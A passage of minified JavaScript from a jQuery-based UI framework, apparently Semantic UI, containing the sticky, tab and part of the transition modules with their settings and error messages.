.ui.fixed",pusher:".pusher",sidebar:".ui.sidebar"},regExp:{ios:/(iPad|iPhone|iPod)/g,mobileChrome:/(CriOS)/g,mobile:/Mobile|iP(hone|od|ad)|Android|BlackBerry|IEMobile|Kindle|NetFront|Silk-Accelerated|(hpw|web)OS|Fennec|Minimo|Opera M(obi|ini)|Blazer|Dolfin|Dolphin|Skyfire|Zune/g},error:{method:"The method you called is not defined.",pusher:"Had to add pusher element. For optimal performance make sure body content is inside a pusher element",movedSidebar:"Had to move sidebar. For optimal performance make sure sidebar and pusher are direct children of your body tag",overlay:"The overlay setting is no longer supported, use animation: overlay",notFound:"There were no elements that matched the specified selector"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.sticky=function(o){var a,r=e(this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1);return r.each(function(){var r,m,g,p,h,v=e.isPlainObject(o)?e.extend(!0,{},e.fn.sticky.settings,o):e.extend({},e.fn.sticky.settings),b=v.className,y=v.namespace,x=v.error,C="."+y,w="module-"+y,k=e(this),S=e(t),T=e(v.scrollContext),A=(k.selector||"",k.data(w)),R=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)},E=this;h={initialize:function(){h.determineContainer(),h.determineContext(),h.verbose("Initializing sticky",v,r),h.save.positions(),h.checkErrors(),h.bind.events(),v.observeChanges&&h.observeChanges(),h.instantiate()},instantiate:function(){h.verbose("Storing instance of module",h),A=h,k.data(w,h)},destroy:function(){h.verbose("Destroying previous instance"),h.reset(),g&&g.disconnect(),p&&p.disconnect(),S.off("load"+C,h.event.load).off("resize"+C,h.event.resize),T.off("scrollchange"+C,h.event.scrollchange),k.removeData(w)},observeChanges:function(){"MutationObserver"in t&&(g=new MutationObserver(h.event.documentChanged),p=new MutationObserver(h.event.changed),g.observe(n,{childList:!0,subtree:!0}),p.observe(E,{childList:!0,subtree:!0}),p.observe(m[0],{childList:!0,subtree:!0}),h.debug("Setting up mutation observer",p))},determineContainer:function(){r=v.container?e(v.container):k.offsetParent()},determineContext:function(){if(m=v.context?e(v.context):r,0===m.length)return void h.error(x.invalidContext,v.context,k)},checkErrors:function(){if(h.is.hidden()&&h.error(x.visible,k),h.cache.element.height>h.cache.context.height)return h.reset(),void h.error(x.elementSize,k)},bind:{events:function(){S.on("load"+C,h.event.load).on("resize"+C,h.event.resize),T.off("scroll"+C).on("scroll"+C,h.event.scroll).on("scrollchange"+C,h.event.scrollchange)}},event:{changed:function(e){clearTimeout(h.timer),h.timer=setTimeout(function(){h.verbose("DOM tree modified, updating sticky menu",e),h.refresh()},100)},documentChanged:function(t){[].forEach.call(t,function(t){t.removedNodes&&[].forEach.call(t.removedNodes,function(t){(t==E||e(t).find(E).length>0)&&(h.debug("Element removed from DOM, tearing down events"),h.destroy())})})},load:function(){h.verbose("Page contents finished loading"),R(h.refresh)},resize:function(){h.verbose("Window resized"),R(h.refresh)},scroll:function(){R(function(){T.triggerHandler("scrollchange"+C,T.scrollTop())})},scrollchange:function(e,t){h.stick(t),v.onScroll.call(E)}},refresh:function(e){h.reset(),v.context||h.determineContext(),e&&h.determineContainer(),h.save.positions(),h.stick(),v.onReposition.call(E)},supports:{sticky:function(){var t=e("<div/>");t[0];return t.addClass(b.supported),t.css("position").match("sticky")}},save:{lastScroll:function(e){h.lastScroll=e},elementScroll:function(e){h.elementScroll=e},positions:function(){var e={height:T.height()},t={margin:{top:parseInt(k.css("margin-top"),10),bottom:parseInt(k.css("margin-bottom"),10)},offset:k.offset(),width:k.outerWidth(),height:k.outerHeight()},n={offset:m.offset(),height:m.outerHeight()};({height:r.outerHeight()});h.is.standardScroll()||(h.debug("Non-standard scroll. Removing scroll offset from element offset"),e.top=T.scrollTop(),e.left=T.scrollLeft(),t.offset.top+=e.top,n.offset.top+=e.top,t.offset.left+=e.left,n.offset.left+=e.left),h.cache={fits:t.height<e.height,scrollContext:{height:e.height},element:{margin:t.margin,top:t.offset.top-t.margin.top,left:t.offset.left,width:t.width,height:t.height,bottom:t.offset.top+t.height},context:{top:n.offset.top,height:n.height,bottom:n.offset.top+n.height}},h.set.containerSize(),h.set.size(),h.stick(),h.debug("Caching element positions",h.cache)}},get:{direction:function(e){var t="down";return e=e||T.scrollTop(),h.lastScroll!==i&&(h.lastScroll<e?t="down":h.lastScroll>e&&(t="up")),t},scrollChange:function(e){return e=e||T.scrollTop(),h.lastScroll?e-h.lastScroll:0},currentElementScroll:function(){return h.elementScroll?h.elementScroll:h.is.top()?Math.abs(parseInt(k.css("top"),10))||0:Math.abs(parseInt(k.css("bottom"),10))||0},elementScroll:function(e){e=e||T.scrollTop();var t=h.cache.element,n=h.cache.scrollContext,i=h.get.scrollChange(e),o=t.height-n.height+v.offset,a=h.get.currentElementScroll(),r=a+i;return a=h.cache.fits||r<0?0:r>o?o:r}},remove:{lastScroll:function(){delete h.lastScroll},elementScroll:function(e){delete h.elementScroll},offset:function(){k.css("margin-top","")}},set:{offset:function(){h.verbose("Setting offset on element",v.offset),k.css("margin-top",v.offset)},containerSize:function(){var e=r.get(0).tagName;"HTML"===e||"body"==e?h.determineContainer():Math.abs(r.outerHeight()-h.cache.context.height)>v.jitter&&(h.debug("Context has padding, specifying exact height for container",h.cache.context.height),r.css({height:h.cache.context.height}))},minimumSize:function(){var e=h.cache.element;r.css("min-height",e.height)},scroll:function(e){h.debug("Setting scroll on element",e),h.elementScroll!=e&&(h.is.top()&&k.css("bottom","").css("top",-e),h.is.bottom()&&k.css("top","").css("bottom",e))},size:function(){0!==h.cache.element.height&&0!==h.cache.element.width&&(E.style.setProperty("width",h.cache.element.width+"px","important"),E.style.setProperty("height",h.cache.element.height+"px","important"))}},is:{standardScroll:function(){return T[0]==t},top:function(){return k.hasClass(b.top)},bottom:function(){return k.hasClass(b.bottom)},initialPosition:function(){return!h.is.fixed()&&!h.is.bound()},hidden:function(){return!k.is(":visible")},bound:function(){return k.hasClass(b.bound)},fixed:function(){return k.hasClass(b.fixed)}},stick:function(e){var t=e||T.scrollTop(),n=h.cache,i=n.fits,o=n.element,a=n.scrollContext,r=n.context,s=h.is.bottom()&&v.pushing?v.bottomOffset:v.offset,e={top:t+s,bottom:t+s+a.height},l=(h.get.direction(e.top),i?0:h.get.elementScroll(e.top)),c=!i,u=0!==o.height;u&&(h.is.initialPosition()?e.top>=r.bottom?(h.debug("Initial element position is bottom of container"),h.bindBottom()):e.top>o.top&&(o.height+e.top-l>=r.bottom?(h.debug("Initial element position is bottom of container"),h.bindBottom()):(h.debug("Initial element position is fixed"),h.fixTop())):h.is.fixed()?h.is.top()?e.top<=o.top?(h.debug("Fixed element reached top of container"),h.setInitialPosition()):o.height+e.top-l>=r.bottom?(h.debug("Fixed element reached bottom of container"),h.bindBottom()):c&&(h.set.scroll(l),h.save.lastScroll(e.top),h.save.elementScroll(l)):h.is.bottom()&&(e.bottom-o.height<=o.top?(h.debug("Bottom fixed rail has reached top of container"),h.setInitialPosition()):e.bottom>=r.bottom?(h.debug("Bottom fixed rail has reached bottom of container"),h.bindBottom()):c&&(h.set.scroll(l),h.save.lastScroll(e.top),h.save.elementScroll(l))):h.is.bottom()&&(e.top<=o.top?(h.debug("Jumped from bottom fixed to top fixed, most likely used home/end button"),h.setInitialPosition()):v.pushing?h.is.bound()&&e.bottom<=r.bottom&&(h.debug("Fixing bottom attached element to bottom of browser."),h.fixBottom()):h.is.bound()&&e.top<=r.bottom-o.height&&(h.debug("Fixing bottom attached element to top of browser."),h.fixTop())))},bindTop:function(){h.debug("Binding element to top of parent container"),h.remove.offset(),k.css({left:"",top:"",marginBottom:""}).removeClass(b.fixed).removeClass(b.bottom).addClass(b.bound).addClass(b.top),v.onTop.call(E),v.onUnstick.call(E)},bindBottom:function(){h.debug("Binding element to bottom of parent container"),h.remove.offset(),k.css({left:"",top:""}).removeClass(b.fixed).removeClass(b.top).addClass(b.bound).addClass(b.bottom),v.onBottom.call(E),v.onUnstick.call(E)},setInitialPosition:function(){h.debug("Returning to initial position"),h.unfix(),h.unbind()},fixTop:function(){h.debug("Fixing element to top of page"),h.set.minimumSize(),h.set.offset(),k.css({left:h.cache.element.left,bottom:"",marginBottom:""}).removeClass(b.bound).removeClass(b.bottom).addClass(b.fixed).addClass(b.top),v.onStick.call(E)},fixBottom:function(){h.debug("Sticking element to bottom of page"),h.set.minimumSize(),h.set.offset(),k.css({left:h.cache.element.left,bottom:"",marginBottom:""}).removeClass(b.bound).removeClass(b.top).addClass(b.fixed).addClass(b.bottom),v.onStick.call(E)},unbind:function(){h.is.bound()&&(h.debug("Removing container bound position on element"),h.remove.offset(),k.removeClass(b.bound).removeClass(b.top).removeClass(b.bottom))},unfix:function(){h.is.fixed()&&(h.debug("Removing fixed position on element"),h.remove.offset(),k.removeClass(b.fixed).removeClass(b.top).removeClass(b.bottom),v.onUnstick.call(E))},reset:function(){h.debug("Resetting elements position"),h.unbind(),h.unfix(),h.resetCSS(),h.remove.offset(),h.remove.lastScroll()},resetCSS:function(){k.css({width:"",height:""}),r.css({height:""})},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,v,t);else{if(n===i)return v[t];v[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,h,t);else{if(n===i)return h[t];h[t]=n}},debug:function(){!v.silent&&v.debug&&(v.performance?h.performance.log(arguments):(h.debug=Function.prototype.bind.call(console.info,console,v.name+":"),h.debug.apply(console,arguments)))},verbose:function(){!v.silent&&v.verbose&&v.debug&&(v.performance?h.performance.log(arguments):(h.verbose=Function.prototype.bind.call(console.info,console,v.name+":"),h.verbose.apply(console,arguments)))},error:function(){v.silent||(h.error=Function.prototype.bind.call(console.error,console,v.name+":"),h.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;v.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:E,"Execution Time":n})),clearTimeout(h.performance.timer),h.performance.timer=setTimeout(h.performance.display,0)},display:function(){var t=v.name+":",n=0;l=!1,clearTimeout(h.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=A;return n=n||f,o=E||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(A===i&&h.initialize(),h.invoke(u)):(A!==i&&A.invoke("destroy"),h.initialize())}),a!==i?a:this},e.fn.sticky.settings={name:"Sticky",namespace:"sticky",silent:!1,debug:!1,verbose:!0,performance:!0,pushing:!1,context:!1,container:!1,scrollContext:t,offset:0,bottomOffset:0,jitter:5,observeChanges:!1,onReposition:function(){},onScroll:function(){},onStick:function(){},onUnstick:function(){},onTop:function(){},onBottom:function(){},error:{container:"Sticky element must be inside a relative container",visible:"Element is hidden, you must call refresh after element becomes visible. Use silent setting to surpress this warning in production.",method:"The method you called is not defined.",invalidContext:"Context specified does not exist",elementSize:"Sticky element is larger than its container, cannot create sticky."},className:{bound:"bound",fixed:"fixed",supported:"native",top:"top",bottom:"bottom"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.tab=function(o){var a,r=e(e.isFunction(this)?t:this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1),m=!1;return r.each(function(){var g,p,h,v,b,y,x=e.isPlainObject(o)?e.extend(!0,{},e.fn.tab.settings,o):e.extend({},e.fn.tab.settings),C=x.className,w=x.metadata,k=x.selector,S=x.error,T="."+x.namespace,A="module-"+x.namespace,R=e(this),E={},P=!0,F=0,O=this,D=R.data(A);b={initialize:function(){b.debug("Initializing tab menu item",R),b.fix.callbacks(),b.determineTabs(),b.debug("Determining tabs",x.context,p),x.auto&&b.set.auto(),b.bind.events(),x.history&&!m&&(b.initializeHistory(),m=!0),b.instantiate()},instantiate:function(){b.verbose("Storing instance of module",b),D=b,R.data(A,b)},destroy:function(){b.debug("Destroying tabs",R),R.removeData(A).off(T)},bind:{events:function(){e.isWindow(O)||(b.debug("Attaching tab activation events to element",R),R.on("click"+T,b.event.click))}},determineTabs:function(){var t;"parent"===x.context?(R.closest(k.ui).length>0?(t=R.closest(k.ui),b.verbose("Using closest UI element as parent",t)):t=R,g=t.parent(),b.verbose("Determined parent element for creating context",g)):x.context?(g=e(x.context),b.verbose("Using selector for tab context",x.context,g)):g=e("body"),x.childrenOnly?(p=g.children(k.tabs),b.debug("Searching tab context children for tabs",g,p)):(p=g.find(k.tabs),b.debug("Searching tab context for tabs",g,p))},fix:{callbacks:function(){e.isPlainObject(o)&&(o.onTabLoad||o.onTabInit)&&(o.onTabLoad&&(o.onLoad=o.onTabLoad,delete o.onTabLoad,b.error(S.legacyLoad,o.onLoad)),o.onTabInit&&(o.onFirstLoad=o.onTabInit,delete o.onTabInit,b.error(S.legacyInit,o.onFirstLoad)),x=e.extend(!0,{},e.fn.tab.settings,o))}},initializeHistory:function(){if(b.debug("Initializing page state"),e.address===i)return b.error(S.state),!1;if("state"==x.historyType){if(b.debug("Using HTML5 to manage state"),x.path===!1)return b.error(S.path),!1;e.address.history(!0).state(x.path)}e.address.bind("change",b.event.history.change)},event:{click:function(t){var n=e(this).data(w.tab);n!==i?(x.history?(b.verbose("Updating page state",t),e.address.value(n)):(b.verbose("Changing tab",t),b.changeTab(n)),t.preventDefault()):b.debug("No tab specified")},history:{change:function(t){var n=t.pathNames.join("/")||b.get.initialPath(),o=x.templates.determineTitle(n)||!1;b.performance.display(),b.debug("History change event",n,t),y=t,n!==i&&b.changeTab(n),o&&e.address.title(o)}}},refresh:function(){h&&(b.debug("Refreshing tab",h),b.changeTab(h))},cache:{read:function(e){return e!==i&&E[e]},add:function(e,t){e=e||h,b.debug("Adding cached content for",e),E[e]=t},remove:function(e){e=e||h,b.debug("Removing cached content for",e),delete E[e]}},set:{auto:function(){var t="string"==typeof x.path?x.path.replace(/\/$/,"")+"/{$tab}":"/{$tab}";b.verbose("Setting up automatic tab retrieval from server",t),e.isPlainObject(x.apiSettings)?x.apiSettings.url=t:x.apiSettings={url:t}},loading:function(e){var t=b.get.tabElement(e),n=t.hasClass(C.loading);n||(b.verbose("Setting loading state for",t),t.addClass(C.loading).siblings(p).removeClass(C.active+" "+C.loading),t.length>0&&x.onRequest.call(t[0],e))},state:function(t){e.address.value(t)}},changeTab:function(n){var i=t.history&&t.history.pushState,o=i&&x.ignoreFirstLoad&&P,a=x.auto||e.isPlainObject(x.apiSettings),r=a&&!o?b.utilities.pathToArray(n):b.get.defaultPathArray(n);n=b.utilities.arrayToPath(r),e.each(r,function(t,i){var s,l,c,u,d=r.slice(0,t+1),f=b.utilities.arrayToPath(d),m=b.is.tab(f),p=t+1==r.length,k=b.get.tabElement(f);if(b.verbose("Looking for tab",i),m){if(b.verbose("Tab was found",i),h=f,v=b.utilities.filterArray(r,d),p?u=!0:(l=r.slice(0,t+2),c=b.utilities.arrayToPath(l),u=!b.is.tab(c),u&&b.verbose("Tab parameters found",l)),u&&a)return o?(b.debug("Ignoring remote content on first tab load",f),P=!1,b.cache.add(n,k.html()),b.activate.all(f),x.onFirstLoad.call(k[0],f,v,y),x.onLoad.call(k[0],f,v,y)):(b.activate.navigation(f),b.fetch.content(f,n)),!1;b.debug("Opened local tab",f),b.activate.all(f),b.cache.read(f)||(b.cache.add(f,!0),b.debug("First time tab loaded calling tab init"),x.onFirstLoad.call(k[0],f,v,y)),x.onLoad.call(k[0],f,v,y)}else{if(n.search("/")!=-1||""===n)return b.error(S.missingTab,R,g,f),!1;if(s=e("#"+n+', a[name="'+n+'"]'),f=s.closest("[data-tab]").data(w.tab),k=b.get.tabElement(f),s&&s.length>0&&f)return b.debug("Anchor link used, opening parent tab",k,s),k.hasClass(C.active)||setTimeout(function(){b.scrollTo(s)},0),b.activate.all(f),b.cache.read(f)||(b.cache.add(f,!0),b.debug("First time tab loaded calling tab init"),x.onFirstLoad.call(k[0],f,v,y)),x.onLoad.call(k[0],f,v,y),!1}})},scrollTo:function(t){var i=!!(t&&t.length>0)&&t.offset().top;i!==!1&&(b.debug("Forcing scroll to an in-page link in a hidden tab",i,t),e(n).scrollTop(i))},update:{content:function(t,n,o){var a=b.get.tabElement(t),r=a[0];o=o!==i?o:x.evaluateScripts,"string"==typeof x.cacheType&&"dom"==x.cacheType.toLowerCase()&&"string"!=typeof n?a.empty().append(e(n).clone(!0)):o?(b.debug("Updating HTML and evaluating inline scripts",t,n),a.html(n)):(b.debug("Updating HTML",t,n),r.innerHTML=n)}},fetch:{content:function(t,n){var o,a,r=b.get.tabElement(t),s={dataType:"html",encodeParameters:!1,on:"now",cache:x.alwaysRefresh,headers:{"X-Remote":!0},onSuccess:function(e){"response"==x.cacheType&&b.cache.add(n,e),b.update.content(t,e),t==h?(b.debug("Content loaded",t),b.activate.tab(t)):b.debug("Content loaded in background",t),x.onFirstLoad.call(r[0],t,v,y),x.onLoad.call(r[0],t,v,y),"string"==typeof x.cacheType&&"dom"==x.cacheType.toLowerCase()&&r.children().length>0?setTimeout(function(){var e=r.children().clone(!0);e=e.not("script"),b.cache.add(n,e)},0):b.cache.add(n,r.html())},urlData:{tab:n}},l=r.api("get request")||!1,c=l&&"pending"===l.state();n=n||t,a=b.cache.read(n),x.cache&&a?(b.activate.tab(t),b.debug("Adding cached content",n),"once"==x.evaluateScripts?b.update.content(t,a,!1):b.update.content(t,a),x.onLoad.call(r[0],t,v,y)):c?(b.set.loading(t),b.debug("Content is already loading",n)):e.api!==i?(o=e.extend(!0,{},x.apiSettings,s),b.debug("Retrieving remote content",n,o),b.set.loading(t),r.api(o)):b.error(S.api)}},activate:{all:function(e){b.activate.tab(e),b.activate.navigation(e)},tab:function(e){var t=b.get.tabElement(e),n="siblings"==x.deactivate?t.siblings(p):p.not(t),i=t.hasClass(C.active);b.verbose("Showing tab content for",t),i||(t.addClass(C.active),n.removeClass(C.active+" "+C.loading),t.length>0&&x.onVisible.call(t[0],e))},navigation:function(e){var t=b.get.navElement(e),n="siblings"==x.deactivate?t.siblings(r):r.not(t),i=t.hasClass(C.active);b.verbose("Activating tab navigation for",t,e),i||(t.addClass(C.active),n.removeClass(C.active+" "+C.loading))}},deactivate:{all:function(){b.deactivate.navigation(),b.deactivate.tabs()},navigation:function(){r.removeClass(C.active)},tabs:function(){p.removeClass(C.active+" "+C.loading)}},is:{tab:function(e){return e!==i&&b.get.tabElement(e).length>0}},get:{initialPath:function(){return r.eq(0).data(w.tab)||p.eq(0).data(w.tab)},path:function(){return e.address.value()},defaultPathArray:function(e){return b.utilities.pathToArray(b.get.defaultPath(e))},defaultPath:function(e){var t=r.filter("[data-"+w.tab+'^="'+e+'/"]').eq(0),n=t.data(w.tab)||!1;if(n){if(b.debug("Found default tab",n),F<x.maxDepth)return F++,b.get.defaultPath(n);b.error(S.recursion)}else b.debug("No default tabs found for",e,p);return F=0,e},navElement:function(e){return e=e||h,r.filter("[data-"+w.tab+'="'+e+'"]')},tabElement:function(e){var t,n,i,o;return e=e||h,i=b.utilities.pathToArray(e),o=b.utilities.last(i),t=p.filter("[data-"+w.tab+'="'+e+'"]'),n=p.filter("[data-"+w.tab+'="'+o+'"]'),t.length>0?t:n},tab:function(){return h}},utilities:{filterArray:function(t,n){return e.grep(t,function(t){return e.inArray(t,n)==-1})},last:function(t){return!!e.isArray(t)&&t[t.length-1]},pathToArray:function(e){return e===i&&(e=h),"string"==typeof e?e.split("/"):[e]},arrayToPath:function(t){return!!e.isArray(t)&&t.join("/")}},setting:function(t,n){if(b.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,x,t);else{if(n===i)return x[t];e.isPlainObject(x[t])?e.extend(!0,x[t],n):x[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,b,t);else{if(n===i)return b[t];b[t]=n}},debug:function(){!x.silent&&x.debug&&(x.performance?b.performance.log(arguments):(b.debug=Function.prototype.bind.call(console.info,console,x.name+":"),b.debug.apply(console,arguments)))},verbose:function(){!x.silent&&x.verbose&&x.debug&&(x.performance?b.performance.log(arguments):(b.verbose=Function.prototype.bind.call(console.info,console,x.name+":"),b.verbose.apply(console,arguments)))},error:function(){x.silent||(b.error=Function.prototype.bind.call(console.error,console,x.name+":"),b.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;x.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:O,"Execution Time":n})),clearTimeout(b.performance.timer),b.performance.timer=setTimeout(b.performance.display,500)},display:function(){var t=x.name+":",n=0;l=!1,clearTimeout(b.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=D;return n=n||f,o=O||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(b.error(S.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(D===i&&b.initialize(),b.invoke(u)):(D!==i&&D.invoke("destroy"),b.initialize())}),a!==i?a:this},e.tab=function(){e(t).tab.apply(this,arguments)},e.fn.tab.settings={name:"Tab",namespace:"tab",silent:!1,debug:!1,verbose:!1,performance:!0,auto:!1,history:!1,historyType:"hash",path:!1,context:!1,childrenOnly:!1,maxDepth:25,deactivate:"siblings",alwaysRefresh:!1,cache:!0,cacheType:"response",ignoreFirstLoad:!1,apiSettings:!1,evaluateScripts:"once",onFirstLoad:function(e,t,n){},onLoad:function(e,t,n){},onVisible:function(e,t,n){},onRequest:function(e,t,n){},templates:{determineTitle:function(e){}},error:{api:"You attempted to load content without API module",method:"The method you called is not defined",missingTab:"Activated tab cannot be found. Tabs are case-sensitive.",noContent:"The tab you specified is missing a content url.",path:"History enabled, but no path was specified",recursion:"Max recursive depth reached",legacyInit:"onTabInit has been renamed to onFirstLoad in 2.0, please adjust your code.", legacyLoad:"onTabLoad has been renamed to onLoad in 2.0. Please adjust your code",state:"History requires Asual's Address library <path_to_url"},metadata:{tab:"tab",loaded:"loaded",promise:"promise"},className:{loading:"loading",active:"active"},selector:{tabs:".ui.tab",ui:".ui"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.transition=function(){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments,u=c[0],d=[].slice.call(arguments,1),f="string"==typeof u;t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return a.each(function(t){var m,g,p,h,v,b,y,x,C,w=e(this),k=this;C={initialize:function(){m=C.get.settings.apply(k,c),h=m.className,p=m.error,v=m.metadata,x="."+m.namespace,y="module-"+m.namespace,g=w.data(y)||C,b=C.get.animationEndEvent(),f&&(f=C.invoke(u)),f===!1&&(C.verbose("Converted arguments into settings object",m),m.interval?C.delay(m.animate):C.animate(),C.instantiate())},instantiate:function(){C.verbose("Storing instance of module",C),g=C,w.data(y,g)},destroy:function(){C.verbose("Destroying previous module for",k),w.removeData(y)},refresh:function(){C.verbose("Refreshing display type on next animation"),delete C.displayType},forceRepaint:function(){C.verbose("Forcing element repaint");var e=w.parent(),t=w.next();0===t.length?w.detach().appendTo(e):w.detach().insertBefore(t)},repaint:function(){C.verbose("Repainting element");k.offsetWidth},delay:function(e){var n,o,r=C.get.animationDirection();r||(r=C.can.transition()?C.get.direction():"static"),e=e!==i?e:m.interval,n="auto"==m.reverse&&r==h.outward,o=n||1==m.reverse?(a.length-t)*m.interval:t*m.interval,C.debug("Delaying animation by",o),setTimeout(C.animate,o)},animate:function(e){if(m=e||m,!C.is.supported())return C.error(p.support),!1;if(C.debug("Preparing animation",m.animation),C.is.animating()){if(m.queue)return!m.allowRepeats&&C.has.direction()&&C.is.occurring()&&C.queuing!==!0?C.debug("Animation is currently occurring, preventing queueing same animation",m.animation):C.queue(m.animation),!1;if(!m.allowRepeats&&C.is.occurring())return C.debug("Animation is already occurring, will not execute repeated animation",m.animation),!1;C.debug("New animation started, completing previous early",m.animation),g.complete()}C.can.animate()?C.set.animating(m.animation):C.error(p.noAnimation,m.animation,k)},reset:function(){C.debug("Resetting animation to beginning conditions"),C.remove.animationCallbacks(),C.restore.conditions(),C.remove.animating()},queue:function(e){C.debug("Queueing animation of",e),C.queuing=!0,w.one(b+".queue"+x,function(){C.queuing=!1,C.repaint(),C.animate.apply(this,m)})},complete:function(e){C.debug("Animation complete",m.animation),C.remove.completeCallback(),C.remove.failSafe(),C.is.looping()||(C.is.outward()?(C.verbose("Animation is outward, hiding element"),C.restore.conditions(),C.hide()):C.is.inward()?(C.verbose("Animation is outward, showing element"),C.restore.conditions(),C.show()):(C.verbose("Static animation completed"),C.restore.conditions(),m.onComplete.call(k)))},force:{visible:function(){var e=w.attr("style"),t=C.get.userStyle(),n=C.get.displayType(),o=t+"display: "+n+" !important;",a=w.css("display"),r=e===i||""===e;a!==n?(C.verbose("Overriding default display to show element",n),w.attr("style",o)):r&&w.removeAttr("style")},hidden:function(){var e=w.attr("style"),t=w.css("display"),n=e===i||""===e;"none"===t||C.is.hidden()?n&&w.removeAttr("style"):(C.verbose("Overriding default display to hide element"),w.css("display","none"))}},has:{direction:function(t){var n=!1;return t=t||m.animation,"string"==typeof t&&(t=t.split(" "),e.each(t,function(e,t){t!==h.inward&&t!==h.outward||(n=!0)})),n},inlineDisplay:function(){var t=w.attr("style")||"";return e.isArray(t.match(/display.*?;/,""))}},set:{animating:function(e){var t;C.remove.completeCallback(),e=e||m.animation,t=C.get.animationClass(e),C.save.animation(t),C.force.visible(),C.remove.hidden(),C.remove.direction(),C.start.animation(t)},duration:function(e,t){t=t||m.duration,t="number"==typeof t?t+"ms":t,(t||0===t)&&(C.verbose("Setting animation duration",t),w.css({"animation-duration":t}))},direction:function(e){e=e||C.get.direction(),e==h.inward?C.set.inward():C.set.outward()},looping:function(){C.debug("Transition set to loop"),w.addClass(h.looping)},hidden:function(){w.addClass(h.transition).addClass(h.hidden)},inward:function(){C.debug("Setting direction to inward"),w.removeClass(h.outward).addClass(h.inward)},outward:function(){C.debug("Setting direction to outward"),w.removeClass(h.inward).addClass(h.outward)},visible:function(){w.addClass(h.transition).addClass(h.visible)}},start:{animation:function(e){e=e||C.get.animationClass(),C.debug("Starting tween",e),w.addClass(e).one(b+".complete"+x,C.complete),m.useFailSafe&&C.add.failSafe(),C.set.duration(m.duration),m.onStart.call(k)}},save:{animation:function(e){C.cache||(C.cache={}),C.cache.animation=e},displayType:function(e){"none"!==e&&w.data(v.displayType,e)},transitionExists:function(t,n){e.fn.transition.exists[t]=n,C.verbose("Saving existence of transition",t,n)}},restore:{conditions:function(){var e=C.get.currentAnimation();e&&(w.removeClass(e),C.verbose("Removing animation class",C.cache)),C.remove.duration()}},add:{failSafe:function(){var e=C.get.duration();C.timer=setTimeout(function(){w.triggerHandler(b)},e+m.failSafeDelay),C.verbose("Adding fail safe timer",C.timer)}},remove:{animating:function(){w.removeClass(h.animating)},animationCallbacks:function(){C.remove.queueCallback(),C.remove.completeCallback()},queueCallback:function(){w.off(".queue"+x)},completeCallback:function(){w.off(".complete"+x)},display:function(){w.css("display","")},direction:function(){w.removeClass(h.inward).removeClass(h.outward)},duration:function(){w.css("animation-duration","")},failSafe:function(){C.verbose("Removing fail safe timer",C.timer),C.timer&&clearTimeout(C.timer)},hidden:function(){w.removeClass(h.hidden)},visible:function(){w.removeClass(h.visible)},looping:function(){C.debug("Transitions are no longer looping"),C.is.looping()&&(C.reset(),w.removeClass(h.looping))},transition:function(){w.removeClass(h.visible).removeClass(h.hidden)}},get:{settings:function(t,n,i){return"object"==typeof t?e.extend(!0,{},e.fn.transition.settings,t):"function"==typeof i?e.extend({},e.fn.transition.settings,{animation:t,onComplete:i,duration:n}):"string"==typeof n||"number"==typeof n?e.extend({},e.fn.transition.settings,{animation:t,duration:n}):"object"==typeof n?e.extend({},e.fn.transition.settings,n,{animation:t}):"function"==typeof 